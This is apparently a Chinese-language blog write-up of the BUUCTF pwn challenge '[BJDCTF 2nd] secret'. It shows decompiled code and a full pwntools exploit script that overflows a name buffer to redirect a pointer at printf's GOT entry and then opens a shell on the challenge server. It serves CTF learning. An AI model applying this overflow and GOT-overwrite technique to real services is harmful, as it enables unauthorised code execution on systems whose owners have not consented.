博客說明node
文章所涉及的資料來自互聯網整理和我的總結,意在於我的學習和經驗彙總,若有什麼地方侵權,請聯繫本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!
網址python
https://buuoj.cn/challengesshell
Pwn類,[BJDCTF 2nd]secret函數
下載題目文件學習
secret測試
老規矩使用file和checksec查看文件spa
文件是64位的,使用ida64打開,使用f53d
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { sub_46A3AF(a1, a2, a3); if ( (unsigned int)sub_40136D() ) sub_401301(); system("cat /flag"); return 0LL; }
sub_46A3AF()函數指針
unsigned __int64 sub_46A3AF() { unsigned int i; // [rsp+Ch] [rbp-54h] char s; // [rsp+10h] [rbp-50h] unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); *(_DWORD *)off_46D090 = 10000; for ( i = 0; i <= 9; ++i ) buf[i] = 0; setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("@====================================@"); sub_4011C2("# What's your name? ________________ #", 20LL); buf[(signed int)((unsigned __int64)read(0, buf, 0x16uLL) - 1)] = 0; sprintf(&s, "# Welcome %-16s #", buf); puts(&s); puts("#====================================#"); puts("# I have toooooo many secrets > #"); puts("# Can u find them _< #"); puts("#====================================#"); return __readfsqword(0x28u) ^ v3; }
sub_401301()函數,提示遊戲結束code
void __noreturn sub_401301() { puts("#====================================#"); puts("# GAME OVER #"); puts("#====================================#"); sub_4011C2("# BYE BYE~ #", 18LL); printf(buf); puts(&byte_46B0A7); puts("@====================================@"); exit(0); }
能夠看出是一個猜數字,不過有10000次,若是錯了就會結束,猜對10000次就給flag,不過那樣太耗費時間了
有個緩衝區溢出漏洞,printf的plt地址和system很接近,能夠把指針覆蓋爲printf的got表,而後猜對15次,最後一次猜錯,就能夠調用system了
網上師傅的exp,python3
#coding:utf8 from pwn import * #sh = process('./secret') sh = remote('node3.buuoj.cn',26618) elf = ELF('./secret') printf_got = elf.got['printf'] answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63] payload = b'/bin/sh\x00'.ljust(0x10,b'\x00') + p32(printf_got) sh.sendafter("What's your name?",payload) for x in answer: sh.sendlineafter('Secret:',str(x)) #如今printf的got表被修改成了system_plt #getshell sh.sendlineafter('Secret:','1') sh.interactive()
flag就找到了
感謝
BUUCTF以及勤勞的本身